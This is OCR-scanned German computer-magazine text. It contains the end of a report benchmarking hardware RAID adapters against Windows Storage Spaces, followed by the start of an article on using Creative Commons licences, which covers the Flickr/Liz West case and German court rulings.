sondere Bedeutung hat SdS in Rechenzen- 
tren, wo hunderte oder tausende virtueller 
Maschinen (VMs) laufen und der Massenspei- 
cher zentral verwaltet werden muss. Win- 
dows Storage Spaces lassen sich mit Hyper-V 
auch von mehreren VMs gleichzeitig nutzen. 

Schutz gegen schleichende Bitfehler [2], 
den Dateisysteme wie ZFS oder btrfs durch 
Prüfsummen bieten, bringt unter Windows 
das Dateisystem ReFS. Man kann es alterna- 
tiv zu NTFS wählen, laut einigen Stichproben 
arbeitet es praktisch gleichschnell. Allerdings 
gibt es Deduplikation derzeit nur für NTFS- 
Volumes: Dabei speichert Windows mehr- 
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fach vorhandene Dateifteile) nur einmal und 
spart dadurch Platz [3]. 


Risiken und Nebenwirkungen 


Software-RAID und SdS können nur so zuver- 
lässig arbeiten wie die Hardware-Plattform, 
auf der sie laufen. Verfahren wie ZFS kom- 
men meistens auf Servern aus der Serienfer- 
tigung etablierter Hersteller zum Einsatz. 
Hostadapter und Festplatten sind dabei für- 
einander zertifiziert. Statt über einzelne 
Kabel fließen SAS-/SATA-Signale und Strom 
über eine zuverlässigere „Backplane” zu den 
einzelnen Laufwerken. Das RAM ist per ECC 
vor Fehlern geschützt, der Server läuft im kli- 
matisierten Raum und hängt über seine re- 
dundanten Netzteile an zwei Stromkreisen 
und einer unterbrechungsfreien Stromver- 
sorgung (USV). Erfahrungen mit SdS aus die- 
sem Umfeld lassen sich kaum auf einen indi- 
viduell konfigurierten (Bastel-)Rechner über- 
tragen, der unterm Schreibtisch Saft aus 
einer angeschmorten Mehrfachsteckdose 
nuckelt. 

Fällt der Strom aus, verlieren nichtflüchti- 
ge Speicher ihre Daten - also der Hauptspei- 
cher und die Schreib-Caches der Festplatten. 
Letztere schaltet man deshalb zwecks höhe- 
rer Zuverlässigkeit ab, doch dann sinkt die 
Performance bei Schreibzugriffen. RAID- 
Hostadapter mit akkugepuffertem RAM ge- 
währleisten trotzdem hohe Schreibleistung. 


SAS-Hostadapter von Avago LSI mit 
(oben) und ohne RAID-Funktion, jeweils 
für acht SAS- oder SATA-Laufwerke. 


Auf der Rückseite sieht man bei der 
MegaRAID-Karte die DRAM-Chips. 
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Viele Server-SSDs besitzen Speicherkonden- 
satoren, um bei Spannungsverlust Daten aus 
dem internen Cache noch in die Flash-Chips 
schreiben zu können. Wie zuverlässig das 
funktioniert, ist aber umstritten. 

Ein RAID schützt in erster Linie vor dem 
Ausfall kompletter Speichermedien [4]. Feh- 
ler in einzelnen Sektoren werden erst beim 
Auslesen erkannt. Doch einige RAID-Host- 
adapter besitzen Funktionen zum Schutz vor 
schleichenden Bitfehlern, etwa Patrol Read 
und T10-Pl (Protection Information). Ersteres 
funktioniert mit allen Speichermedien, T10- 
Pl setzt besondere SAS-Festplatten voraus. 

Einen Patrol Read - auch Scrubbing ge- 
nannt - führen Hostadapter in einstellbaren 
Intervallen aus: Dabei lesen sie die Inhalte 
sämtlicher Sektoren aus und vergleichen sie 
mit den redundanten Informationen. Eine 
solche Integritätsprüfung wird oft einmal pro 
Woche empfohlen, kann bei einer Lese- 
geschwindigkeit von 150 MByte/s aber bei 
einem Verbund aus vier 4-TByte-Platten 
durchaus 30 Stunden dauern. Das steigert 
die Leistungsaufnahme beträchtlich und be- 
lastet auch die Festplatten. 

Bei T10-Pl arbeiten SAS-Platten mit einer 
Sektorgröße von 520 statt 512 Byte. Die zu- 
sätzlichen 8 Byte belegt ein Data Integrity 
Field (DIF) mit zusätzlichen Prüfcodes. T10-Pl 
soll Daten sogar bei der Übertragung bis hin 
zur Anwendung schützen, allerdings gibt es 
wenig Software, die das nutzt. 


Hardware-RAID 


RAID-Hostadapter mit eigenem Prozessor 
und Speicher gibt es üblicherweise als PCI-Ex- 
press-(PCle-)Steckkarte, auf vielen Server- 
Mainboards sind sie aber aufgelötet. Bei sol- 
chem „RAID on Motherboard” (ROMB) lassen 
sich manchmal Zusatzfunktionen kosten- 
pflichtig freischalten. Die unter eigenen 
Namen vertriebenen RAID-Karten der großen 
Server-Hersteller - Dell PowerEgde RAID Con- 
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Betriebsmodi Windows Storage Spaces in Windows Server 2012 R2 


Name Funktion 

Simple 
keine Redundanz (RAID 0) 

Mirror, Zwei-Wege-Spiegelung 

Mirror, Drei-Wege-Spiegelung 

Parity, Einzelparität 

Parity, Duale Parität 


troller (PERC), HP SmartArray, IBM ServeRAID 
- verwenden üblicherweise Controller-Chips, 
Firmware und Treiber von Avago/LSI oder 
PMC/Adaptec. Es gibt zwar noch eine Reihe 
anderer RAID-Adapter-Hersteller wie Atto, 
Areca und HighPoint, von denen aber derzeit 
nur Areca auch Karten mit PCle 3.0 und 
SAS 12G im Angebot hat. Viele Firmen kaufen 
nur von großen Marken, weil sie auf längere 
Kontinuität hoffen: Würde ein Hersteller vom 
Markt verschwinden, bekäme man mögli- 
cherweise keine kompatiblen Adapter mehr 
und könnte bei einem Defekt der Karte seine 
Daten nicht mehr lesen. 

Es gibt verschiedene Verfahren, um bei 
Stromausfall den Inhalt des RAID-Caches zu 
retten, bis der Strom wieder fließt und die 
Daten auf Magnetscheiben oder in Flash- 
Chips geschrieben werden können. In der 
Standardeinstellung aktivieren die meisten 
RAID-Adapter den „Write Back“-Modus des 
Caches nur, wenn eine Ausfallsicherung an- 
geschlossen ist - sonst verwenden sie „Write 
Through“, was bedeutet, dass der Cache das 
Schreiben nicht beschleunigt. Der Lese- 
Cache ist davon nicht betroffen. 

Die älteste Lösung ist ein Akku, den man 
an den Hostadapter anschließt. Nachteil: Der 
Akku verschleißt, LSI empfiehlt sogar den all- 
jährlichen Austausch des immerhin zwi- 
schen 50 und 180 Euro teuren Bauteils. Für 
jüngere Adapter gibt es deshalb Kombina- 
tionen aus Ultrakondensator und Flash-Spei- 
cher, die bei Stromausfall die Daten aus dem 
Cache retten. Sie brauchen keine Wartung 
und überstehen lange Stromausfälle. 

Auch RAID-Hostadapter lernen mit jeder 
Generation neue Tricks, manche schauen sie 


Laufwerke nötig 


verteilt Daten auf mehrere Datenträger für höhere Kapazität und Performance, 1 


einfache Redundanz, ein Datenträger darf ausfallen 2 
doppelte Redundanz, zwei Datenträger dürfen ausfallen 5 
quasi RAID 5, ein Datenträger darf ausfallen 3 
quasi RAID 6, zwei Datenträger dürfen ausfallen, kein Thin Provisioning 5 


bei der SdS-Konkurrenz ab. So können man- 
che Adapter SSDs als schnellen Puffer für ein 
RAID aus Magnetfestplatten einbinden oder 
lassen sich mit einem zweiten baugleichen 
Adapter in einem anderen Server zu einem 
redundanten Cluster verbinden. 

Viele RAID-Adapter können den RAID- 
Modus eines virtuellen Laufwerks im laufen- 
den Betrieb umstellen (RAID Migration) und 
dessen Kapazität erweitern (Online Capacity 
Expansion), etwa indem man Zug um Zug 
die einzelnen Festplatten gegen größere 
tauscht und dazwischen jeweils die Repara- 
turfunktion (Rebuild) anstößt. Zusätzliche 
Festplatten lassen sich bei LSI MegaRAID 
nachträglich zu einem „virtual Drive“ hinzu- 
fügen. 


Messtechnik 


Verschiedene Server-Anwendungen und 
Nutzungsweisen stellen völlig unterschiedli- 
che Anforderungen an das Storage-System: 
Mal stehen Zugriffe auf aufeinanderfolgende 
Sektoren im Vordergrund (sequenziell, Bei- 
spiel File Server), mal Zugriffe auf zufällig ver- 
teile Blöcke (random, Datenbanken). Häufig 
geht es ums schnelle Lesen, manchmal ist 
das Schreiben wichtiger. Bei Servern mit 
mehreren Aufgaben oder mehreren parallel 
laufenden virtuellen Maschinen lässt sich 
kaum noch einschätzen, welcher Parameter 
des Storage-Systems den stärksten Schub 
bringen würde - hier muss man selbst mes- 
sen und experimentieren. 

Unsere Messungen mit lometer auf Sto- 
rage Spaces und per RAID-Adapter bereitge- 
stellten Volumes zeigen einige grundsätzli- 


RAID per Hardware oder Software im Vergleich 


Software-RAID 

Vorteile 

unabhängig von bestimmten Hostadaptern 
funktioniert mit billigen Hostadaptern (aber nicht nur) 
kann PCI-Express-SSDs einbinden 

kann SSDs als Cache einbinden (Tiering) 

Thin Provisioning 

Storage Spaces: leichte Erweiterung 


Hardware-RAID 


weitgehend unabhängig vom Betriebssystem 

gepuffertes ECC-RAM für hohe Schreibleistung und hohe Zuverlässigkeit 
Kompatibilitätslisten mit validierten Festplatten 

manche Adapter mit SSD-Caching (Tiering) 

funktioniert mit Hypervisor VMware ESXi und anderen 

RAID-Migration und Kapazitätserweiterung möglich 


erfahrene Administratoren kennen Bedienung 
manche Adapter verwalten auch SEDs' und SAS-Disks mit 520-Byte-Sektoren? 
Performance akzeptabel auch bei 1 Mediendefekt 


Nachteile 

abhängig vom Betriebssystem (bis auf Hyper-V) 

Windows Storage Spaces: noch junge Lösung, wenig Erfahrungen 
ECC-RAM und USV empfehlenswert 

nicht bootfähig 

Mirror 2-/3-Way mit hohem Kapazitätsverlust 


abhängig vom RAID-Adapter (bei Defekt kein Zugriff auf Daten) 
leistungsfähige RAID-Adapter teuer, stromdurstig 
leistungsfähige Adapter brauchen Kühlluft 
Konfigurationsmasken oft veraltet, kryptische Bezeichnungen 


! Self-Encrypting Drives: Festplatten mit Hardware-Verschlüsselung ? erweiterte Prüfsummen für Speicherung und Übertragung nach T10-PI (DIF) 
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che Eigenschaften der verschiedenen Kon- 
zepte. Alle Messungen fanden mit jeweils 
acht SSDs oder Festplatten statt, die entwe- 
der am Avago LSI SAS 9300-8i hingen oder 
am RAID-Hostadapter LSI MegaRAID SAS 
9361-8i. Beides sind PCle-3.0-x8-Karten mit 
SAS-12G-Ports. Über ihre PCle-Schnittstelle 
hingen sie direkt an der CPU und könnten 
darüber theoretisch 8 GByte/s übertragen, 
das würde für 2 Millionen 4K-IOPS reichen. 

Versuchsweise haben wir auch alle sechs 
SATA-6G-Ports des Intel-Chipsatzes C226 
(ähnlich H87) mit SSDs bestückt. Hier war bei 
etwa 1,7 GByte/s Schluss - für mehr reicht 
die „DMI 2.0”-Verbindung zwischen CPU und 
Chipsatz nicht. 

Ganz bewusst haben wir für die Messun- 
gen den vergleichsweise leistungsschwa- 
chen Doppelkern Core i3-4130T verwendet - 
Server-Xeons haben bis zu 18 Kerne. Doch 
selbst beim Core i3 blieb die CPU-Last der 
Storage-Software stets im einstelligen Pro- 
zentbereich. Die Test-Software lometer 1.1.0 
erzeugte 20 Prozent Last. 

Die Storage Spaces nutzen jeweils 1 GByte 
Cache im RAM. Auch der MegaRAID SAS 
9361-8i besitzt 1 GByte ECC-geschützten 
Schreib-Cache, den wir stets nutzten. Hinzu 
kommen noch die von Windows selbst ge- 
pufferten Dateien - mehr als etwa 500 MByte 
waren das aber nie. Für die Messungen 
haben wir jeweils eine 40 GByte große Test- 
datei angelegt, um den Einfluss der Caches 
zu minimieren. lometer führt auf diese Datei 
namens iobw.tst auch konkurrierende Zu- 
griffe mit unterschiedlichen Blockgrößen 
durch. 


Performance 


Die verwendeten SSDs schaffen beim se- 
quenziellen Lesen jeweils über 500 MByte/s, 
die WD-Red-Platten zirka 150 MByte/s beim 
Lesen und Schreiben. Im schnellsten RAID- 
Modus und bei optimalen Zugriffsmustern 
stand jeweils die aggregierte Datentransfer- 
leistung der kombinierten SSDs oder Platten 
bereit, also bis zu 4 GByte/s beim Lesen von 
den SSDs (2 GByte/s beim Schreiben) und 
1 GByte/s beim Lesen und Schreiben von 
den Platten. 

Bei Zugriffen auf zufällig verteilte 4-KByte- 
Blöcke laufen beide RAID-Konzepte in Be- 
grenzungen - mehr als 180 000 IOPS traten 
nie auf, obwohl alle SSDs zusammen mehr 
könnten. Die Unterschiede zwischen unter- 
schiedlichen Konfigurationen (Mirroring, Pa- 
rity, RAID 1/5/6) sind dabei größer als zwi- 
schen Soft- und Hardware. Den Festplatten 
ließen sich bis zu 1450 IOPS entlocken, das 
entspricht ungefähr den aggregierten Einzel- 
werten. Sowohl Software- als auch Hard- 
ware-RAID bringen also zusätzliche Latenzen 
ins Spiel. Manches SdS-Konzept nutzt des- 
halb sehr viel RAM als Puffer. 

Ein einzelner Anwendungs-Thread, der 
auf den Massenspeicher zugreift, kann ihm 
nicht die maximale Performance entlocken. 
Erst wenn es konkurrierende Zugriffe gibt, 
greifen Optimierungen wie Native Command 
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Queueing (NCO) und die Zugriffe verteilen 
sich auf mehrere parallel nutzbare Speicher- 
medien. Die aggregierte I/O-Leistung wächst 
dann deutlich. 

lometer simuliert konkurrierende Zugriffe 
mit dem Parameter „Queue Depth” (OD): 1 
steht für einen Thread, 2 für zwei parallele 
und so weiter. Fraglich ist dabei, wie viele 
Anwendungen beim jeweiligen Computer 
tatsächlich gleichzeitig auf das Speichersys- 
tem zugreifen. Bei Desktop-Rechnern dürfte 
die QD oft 1 betragen und selten über 4 
hinauskommen. Einfache Server könnten im 
Bereich von 8 bis 32 liegen. Deutlich höhere 
Werte sind erst zu erwarten, wenn viele pa- 
rallel laufende VMs denselben Speicher nut- 
zen. Auf diesen Einsatzzweck zielen viele der 
aktuell diskutierten SdS-Konzepte. 

Bei vielen konkurrierenden Zugriffen, also 
mit wachsender OD, schrumpft die Wirkung 
von Disk- und Adapter-Caches, dann schlägt 
die eigentliche Performance der Speicher- 
medien durch. 


RAID-Vergleich 


Beim sequenziellen Lesen gibt es keine we- 
sentlichen Unterschiede zwischen Storage 
Spaces und einem modernen RAID-Adapter. 
Letzterem war es bei sequenziellen Zugriffen 
fast egal, ob er ein RAID 5 oder ein aufwendi- 
geres RAID 6 berechnen musste. Man sieht in 
den lometer-Kurven deutlich, wie sich mit 
wachsender QD die Leistung von immer 
mehr Speichermedien addiert. Weil der 
RAID-Adapter schon bei RAID 5 und 6 nahe- 
zu das Optimum aus den Speichermedien 
herausholt, brachten auch die kombinierten 
Modi RAID 50 und 60 keine Vorteile. 

Die Storage Spaces hinken in allen Mes- 
sungen hinterher, aber sehr unterschiedlich 
stark. Beim Lesen dürften die Unterschiede 
zu Hardware-RAID oft vernachlässigbar sein, 
aber das Schreiben auf einen Parity-Verbund 
ist krötenlahm. Es geht sogar schneller, wenn 
man die Schreib-Caches der einzelnen Fest- 
platten (via Geräte-Manager) abschaltet - 
möglicherweise nutzt Windows diese im Pa- 
rity-Modus grundsätzlich nicht und leert sie 
mühselig nach jedem Zugriff, falls sie akti- 
viert sind. Jedenfalls dürften höchstens 
76 MByte/s und 181 IOPS beim Schreiben auf 
acht Festplatten für viele Anwendungen 
nicht reichen - ein Hardware-RAID 5 schafft 
sequenziell mehr als das 12-fache und die 
4-fachen IOPS. Microsoft stellt aber selbst 
klar, dass sich Storage Spaces im Parity- 
Modus nur für selten geschriebene Daten 
eignen, etwa für Archive. 

Müssen Daten einigermaßen flott geschrie- 
ben werden, kommen nur die Mirror-Funktio- 
nen der Storage Spaces in Frage. Ab der 
Queue Depth von vier arbeitet ein 2-Wege- 
Spiegel beim Lesen sogar etwas schneller als 
ein Hardware-RAID 5. Beim Schreiben bricht 
die Performance aber ein, wenn die Disk Ca- 
ches abgeschaltet sind. Und die Leserate lei- 
det extrem, wenn eine der beteiligten Platten 
ausfällt. Der RAID-Hostadapter lässt sich da- 
von weniger stark beeinflussen. 
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Datentransferraten 


Report | RAID: Hard- vs. Software 


Beim Lesen kommen sich Hardware-RAID 5 und ein Storage- 
Space-Mirror (2-Wege) nahe - solange alle Platten funktionieren. 


5 


GByte/s 


4 
HW RAID 5 
3 


1 
St. Spaces, Mirror 2-way, Disk Cache On 


0 


0D=1 0=2 


Mit den SSDs schwankten die Messungen 
beim RAID-Adapter deutlich weniger als bei 
den Storage Spaces. Wir haben allerdings 
auch mit einer kruden Mischung aus SSDs 
gemessen, die nicht (alle) für den Server-Ein- 
satz gedacht sind. Und prompt stießen wir 
auf einen Bug im Zusammenspiel des Mega- 
RAID SAS 9361-8i mit Samsung-SSDs der Se- 
rien 840 und 850: Deren interner Cache lässt 
sich dann nicht ein- oder ausschalten, die 
entsprechende Option funktioniert schlicht- 
weg nicht. Bei den Festplatten klappte aber 
alles prima und hier zeigt der Vergleich Disk 
Cache Enabled/Disabled, dass dieser keinen 
nennenswerten Einfluss hat, wenn man den 
ECC-geschützten Schreib-Cache des RAID- 
Adapters verwendet. 


Fazit 


Viele Funktionen der Storage Spaces zielen 
weniger auf klassische Windows-Server für 
Kleinfirmen, sondern eher auf Einsatzberei- 
che wie Virtualisierung, wo viele parallel lau- 
fende Anwendungen gleichzeitig zugreifen. 
Bei geringer Queue Depth - also bei weni- 
gen konkurrierenden Zugriffen - ist die Per- 
formance schon beim Lesen mäßig. Das 
Schreiben im Parity-Modus ist extrem lahm 
und im Mirror-Modus nur dann flott, wenn er 
die Schreib-Caches der einzelnen Festplatten 
nutzen darf. Fällt eine Platte aus, sackt die 
Datentransferrate bei Storage Spaces weiter 
ab als bei RAID 5 oder 6 in Hardware. Auf der 
Haben-Seite stehen Flexibilität der Konfigu- 
ration, gespartes Geld für die Steckkarte 


St. Spaces, Mirror 2-way, Disk Cache Off 


HW RAID 5, degraded 


St. Spaces, Mirror 2-way, Cache Off, degraded 


0D=8 0D=16 0D=32 


Queue Depth 


sowie weniger Bedarf an Platz, Strom und 
Kühlluft - wichtig für besonders kompakte 
und sparsame Server. 

Ein RAID-Adapter mit gepuffertem Cache 
bringt dagegen Vorteile, wenn der Server 
Daten schnell und trotzdem sehr zuverlässig 
schreiben soll - speziell dann, wenn haupt- 
sächlich eine einzige Anwendung das Spei- 
chersystem nutzt. 

Ein aktueller flotter RAID-Hostadapter mit 
Akku oder Flash-Puffer kostet zwar schnell 
700 Euro, doch man muss diesen Preis ins 
Verhältnis zu anderen Kosten setzen, etwa zu 
den mindestens 1600 Euro für acht SATA- 
Platten, die für RAID-Dauerbetrieb freigege- 
ben sind. Auch die zusätzliche Leistungsauf- 
nahme des RAID-Hostadapters und sein Be- 
darf nach etwas Luftströmung zur Kühlung 
spielt in einem Server mit acht oder mehr 
3,5-Zoll-Platten keine wesentliche Rolle. Älte- 
re RAID-Adapter mit langsamen Rechenwer- 
ken bringen allerdings bei Weitem nicht die 
Ergebnisse des aktuellen Avago LS! Mega- 
RAID SAS 9361-8i. (ciw) 
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Typische RAID-Performance je nach Zugriffsmustern 


Blockgröße 512 KByte 64 KByte 4.KByte 

Zugriffsart sequenziell; Schreiben/Lesen [GByte/s] sequenziell, Schreiben/Lesen [GByte/s] sequenziell, Schreiben/Lesen [GByte/s] 
besser besser$ besser» 

Queue Depth 

0D=32 1,95/4,03 HE  1,98/3,26 en 5745/1428776 

0D=16 1,94/3,72 HE 1,98/3,12 DE 57711/106148 

QD= EEE  1,98/3,34 EEE  1,99/3,12 Ba 5665/61019 

0D= HER 1,98/2,81 HER  1,99/2,89 a 5765/31914 

0D=2 HER 1,98/3,02 HE 1,98/2,28 5 6091/16201 

0D=1 ER 1,98/2,84 En 1,28/1,33 i 5495/8116 
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Freigegeben 


Creative-Commons-Lizenzen rechtssicher nutzen 


Musik, Filme, Texte und vor allem Fotos: Das Angebot an Medien, die auf Basis 
einer Creative-Commons-Lizenz freigegeben sind, ist inzwischen riesengroß. 
Doch viele Nutzer schrecken angesichts der vermeintlich komplizierten 
Handhabung und befürchteter Rechtsunsicherheit von einer Nutzung zurück. 
Wer einen näheren Blick riskiert und sich mit den CC-Vorgaben beschäftigt, 
auf den wartet ein regelrechter digitaler Schatz. 


ie Probleme einer US-amerikanischen 
Dame mit der Bilderplattform Flickr und 
deren Eigentümer Yahoo gerieten Ende 2014 
in die Schlagzeilen. Liz West hatte als Hobby- 
fotografin unter ihrem Pseudonym „Muffet“ 
auf Flickr rund 12 000 Fotos veröffentlicht 
und diese unter eine Creative-Commons- 
Lizenz (CC) gestellt. Damit befindet sie sich in 
guter Gesellschaft, denn nicht weniger als 
300 Millionen öffentlich geteilte Flickr-Bilder 
werden bereits unter einer Creative-Com- 
mons-Lizenz angeboten. 
Doch genau wegen dieser Verwendung 
der CC-Lizenzen wurde West im November 
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2014 weltweit bekannt. Zwar hat sie nach ei- 
gener Aussage grundsätzlich nichts gegen 
eine Nutzung ihrer Werke durch Dritte. Als al- 
lerdings Yahoo angekündigt hatte, Ausdru- 
cke von 50 Millionen Flickr-Bildern für 49 US- 
Dollar pro Stück zum Verkauf anzubieten, 
ging das West zu weit. Denn im Unterschied 
zu Fotografen „ausgewählter Motive”, die 
immerhin die Hälfte des Gewinns erhalten 
sollten, sah der Plan von Yahoo vor, die Nut- 
zer von Creative-Commons-Lizenzen voll- 
ständig leer ausgehen zu lassen. 

Obwohl die Reaktion der Hobbyfotografin 
nachvollziehbar ist - juristisch war der Plan 
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des Plattformbetreibers völlig in Ordnung. 
Denn West hatte - wie viele andere auch - 
ihre Werke unter eine sogenannte CC-BY-2.0- 
Lizenz gestellt. Die damit verbundenen Vor- 
gaben umfassen für den Verwender lediglich 
die Pflicht, den Schöpfer eines Werkes, bei- 
spielsweise eines Fotos, ausdrücklich zu be- 
nennen, einen Link zur Lizenz beizufügen 
und anzugeben, ob Änderungen vorgenom- 
men wurden. Im Gegenzug dürfen die Werke 
geteilt, verbreitet und sogar bearbeitet wer- 
den - und zwar auch für kommerzielle Zwe- 
cke. Nichts anderes hatte Yahoo mit den 
Flickr-Bildern vor. 


Papierwelt-Tiger 


Der Fall zeigt die Stärken, aber auch die 
Schwächen der Creative-Commons-Lizen- 
zen. Zwar ermöglichen sie eine weitgehende 
Freiheit beim Bestimmen, wie andere mit 
den selbst erstellen Werken umzugehen 
haben. Andererseits erfordern sie zumindest 
ein Minimum an Fachkenntnis, um genau 
dies so festzulegen, dass es nicht zu unange- 
nehmen Überraschungen kommt, etwa 
wenn plötzlich andere unerwartet mit den 
Werken Kasse machen. 

Doch warum kommen überhaupt Men- 
schen auf die Idee, freiwillig auf die ihnen aus 
dem Urheberrecht zukommenden Befugnis- 
se zu verzichten? Sie möchten ihre Werke mit 
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Einschränkungen allen kostenlos zur Verfü- 
gung stellen. Schon bald nach dem Start des 
World Wide Web zeigte es sich, dass die star- 
ren, für die Papierwelt entwickelten Vorga- 
ben des Urheberrechts in einer digitalen Um- 
gebung nicht immer funktionieren. 

Wer ein Foto, einen Text oder ein Pro- 
gramm veröffentlichen wollte, hatte auf 
Basis der bestehenden Rechtslage zwei Mög- 
lichkeiten: Entweder er unterwarf sein Werk 
den starren Regeln des Urheberrechtsgeset- 
zes und blockierte damit eine freie Nutzung. 
Oder aber er verzichtete völlig auf seine 
Rechte, darunter dann aber auch eine Nen- 
nung seines Namens und jegliche Kontrolle 
der weiteren Verwendung. 

Im Software-Bereich erkannte man diese 
Problematik schon früh und entwickelte Li- 
zenzen für freie Software, die weitgehend 
uneingeschränkt genutzt werden darf. Das 
bekannteste Beispiel ist die GNU General Pu- 
blic License (GPL), die 1989 von Richard Stall- 
man entwickelt wurde. Die Geburtsstunde 
für die Creative-Commons-Lizenz („CC-Li- 
zenz“), im Deutschen recht sperrig als „Krea- 
tivallmende” bezeichnet, kam erst mehr als 
zehn Jahre später. 

Wiederum zehn Jahre später (Stand: Janu- 
ar 2015) stehen immerhin rund 882 Millionen 
Werke unter einer CC-Lizenz, darunter vor 
allem Bilder, aber auch Musik, Texte oder 
Filme. Die Lizenzbedingungen liegen inzwi- 
schen bereits in Version 4.0 vor. Diese neue 
Version ist allerdings noch nicht dem deut- 
schen Recht angeglichen. Wer also auf Num- 
mer sicher gehen will, verwendet bis zu der 
bereits angekündigten Anpassung noch die 
Version 3.0. Inhaltlich sind die Änderungen 
zwischen beiden Versionen ohnehin nur gra- 
duell. 

Juristisch betrachtet stellen CC-Lizenzen 
Vertragsbedingungen dar, die ein potenzieller 
Nutzer des Werks annehmen muss. Dement- 
sprechend muss der Nutzer vorab diese Nut- 
zungsbedingungen kennen. CC-Lizenzen re- 
geln eine Vielzahl von Vertragsverhältnissen 
und gelten damit als allgemeine Geschäftsbe- 
dingungen (AGB), die den entsprechenden 
Vorgaben des Bürgerlichen Gesetzbuchs 
(BGH) unterfallen. Die Rechtsverbindlichkeit 
der CC-Vorgaben wurde erstmals 2010 vom 
Landgericht Berlin (Az. 16 O 458/10) und zu- 
letzt Ende 2014 vom Oberlandesgericht (OLG) 
Köln bestätigt (Az.: 6 U 60/14). 


Kommerz-Terz 


Dem Urheber stehen sechs verschiedene CC- 
Lizenzmodelle zur Verfügung, aus denen er 
wählen kann. Die zentrale Frage, die er sich 
dabei stellen muss, lautet: Wie hältst Du es 
mit der kommerziellen Nutzung? Diese Frage 
ist weder bei der Bestimmung der CC-Vorga- 
ben noch auf der anderen Seite bei der Nut- 
zung eines lizenzierten Fotos trivial. Denn 
was sich unter einer kommerziellen Nutzung 
im deutschen Recht verstehen lässt, ist nach 
wie vor ziemlich offen. 

Dem OLG Köln stellte sich genau diese 
Frage Ende des Jahres im erwähnten 
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Get Creative Commons updates 


Neu bei Creative Commons? [ Überlegungen vor einer Lizenzierung ] [ Wie die Lizenzen funktionieren ] 
Erkunden Sie die Creative-Commons-Lizenzen. 
[ Suchen Sie nach älteren Lizenzversionen bzw. portierten Fassungen? ] 


Recht | Nutzungslizenzen 


e.com Subscribe 


[ Möchten Sie stattdessen Public Domain? ] 


Lizenzeigenschaften 


Ihre Auswahl in diesem Panel wird die anderen Panels auf 
dieser Seite ebenfalls aktualisieren. 


Erlauben, dass Bearbeitungen Ihres 
Werkes geteilt werden? 


® Ja Nein 


Ja, solange andere unter denselben 
Bedingungen weitergeben 


Möchten Sie kommerzielle Nutzungen 
Ihres Werkes erlauben? 


® Ja ) Nein 


©® Ausgewählte Lizenz 


Namensnennung 4.0 
International 


© ® 


L 


© Helfen Sie anderen, die 
Namensnennung korrekt 


vorzunehmen! 


Dieser Abschnitt ist optional, aber das Ausfüllen wird 
maschinenlesbare Metadaten in das vorgeschlagene 
IL einfügen! 


Titel des Werkes 


@) Haben Sie eine Website? 


Dieses Werk ist lizenziert unter einer Creative Commons 
Namensnennung 4.0 International Lizenz 


Die Creative-Commons-Organisation hält im Web einen 
Generator bereit, der relevante Parameter abfragt und die 


passende Lizenz auch als Bild ausgibt. 


Verfahren. Die Richter mussten entschei- 
den, ob die Radiostation DRadio Wissen (zu 
Deutschlandradio gehörend) ein mittels CC- 
Lizenz ausdrücklich nicht zur kommerziellen 
Nutzung freigegebenes Foto von einer De- 
monstration gegen die GEMA verwenden 
durfte oder nicht. In seinem Urteil kam das 
Gericht nach langer Abwägung zu dem Er- 
gebnis, dass ein öffentlich-rechtlicher Ra- 
diosender nicht in den kommerziellen Be- 
reich fällt. Was genau unter dem Begriff 
„kommerziell“ im Zusammenhang mit CC- 
Lizenzen zu verstehen ist, sei nämlich un- 
klar. Auslegungsschwierigkeiten bei unkla- 
ren und mehrdeutigen Formulierungen 
aber wirkten nach den gesetzlichen Vorga- 
ben zu „Lasten des Verwenders”, hier also 
des Fotografen. 

Wann aber ist eine Nutzung kommerziel- 
ler Natur? Juristen gehen gängigerweise 
davon aus, dass dies für jede Verwendung 
gilt, die vorrangig auf einen geschäftlichen 
Vorteil oder eine „geldwerte Vergütung” ge- 
richtet ist. Eindeutig gilt das für geschäftliche 
Websites, in deren Rahmen Produkte oder 
Dienstleistungen verkauft oder zumindest 
beworben werden. Auch die Übernahme 
einer Grafik oder eines Bildes in ein Buch, 
eine Zeitung, eine Zeitschrift oder deren On- 
line-Ableger gilt als kommerziell. Wer dage- 
gen sein rein privates Blog mit Katzenbildern 
unter CC-Lizenz verschönert, handelt nicht 
kommerziell, auch wenn er für die Nutzung 
vergleichbarer unfreier Bilder Lizenzgebüh- 
ren hätte zahlen müssen. 
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Dazwischen gibt es einige Konstruktio- 
nen, bei denen eine Abgrenzung schwierig 
ist. Dies gilt beispielsweise für den Journalis- 
ten, der rein privat eine werbefreie Website 
verfasst und damit seine Bekanntheit stei- 
gert, oder auch für das Blog, das über einige 
wenige Banner die Kosten für den Web-Auf- 
tritt refinanziert. Hier gilt: Im Zweifel sollte 
man sich eher auf die Nutzung der ja auch 
reichlich vorhandenen Werke begrenzen, 
die eine kommerzielle Nutzung explizit er- 
lauben. 

Verloren hat Deutschlandradio den Pro- 
zess gegen den Fotografen schließlich trotz 
der Wertung als nicht kommerzielles Me- 
dium, zumindest zu großen Teilen: Die Re- 
daktion hatte das Foto vor der Nutzung stark 
beschnitten, was juristisch gesehen eine Be- 
arbeitung des Fotos darstellt. Eine solche Be- 
arbeitung hatte die CC-Lizenz zwar grund- 
sätzlich gestattet, doch hatte der Sender 
beim Beschneiden des Bilds auch die Be- 
zeichnung des Klägers (in diesem Fall seine 
de-Domain) in der rechten unteren Ecke des 
Bilds entfernt. Vorhandene Urheberbezeich- 
nungen waren nach den Lizenzvorgaben 
zwingend beizubehalten. 


Vorab-Überlegungen 


Bevor man sich als Rechteinhaber dafür ent- 
scheidet, eines seiner Werke unter eine Crea- 
tive-Commons-Lizenz zu stellen, sollte man 
einige Überlegungen anstellen. Grund- 
voraussetzung ist, dass das gewählte Werk 
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Entdecken Erstellen 


flickr 


Registrieren 


Zurück zu photostream 


liz west 


wynken and biynken 


When I'm in my kitchen, | can hear these littie ones in the room 


Hochladen 


Aufgenommen am 2. November) 
2014 


® Bestimmte Rechte vorbehalten 


Die Hobbyfotografin Liz West stellt ihre Katzenbilder weiterhin 


zur freien Verwendung unter CC-Lizenz. 


überhaupt urheberrechtlich geschützt ist. 
Dies ist bei Fotos immer der Fall. Bei Texten 
oder Musik hängt es unter anderem von Ori- 
ginalität und Länge ab. Nicht unter CC-Lizen- 
zen gestellt werden kann Hard- und Soft- 
ware. Für letztere gibt es ohnehin andere 
Möglichkeiten. 

Wer CC-Vorgaben nutzen will, muss allei- 
niger Inhaber der Urheber- beziehungsweise 
Nutzungsrechte an einem Werk sein. Bei Ge- 
meinschaftswerken mit mehreren Schöpfern 
müssen sich alle Rechteinhaber einig sein. 
Sie sollten die Entscheidung für eine Lizenz 
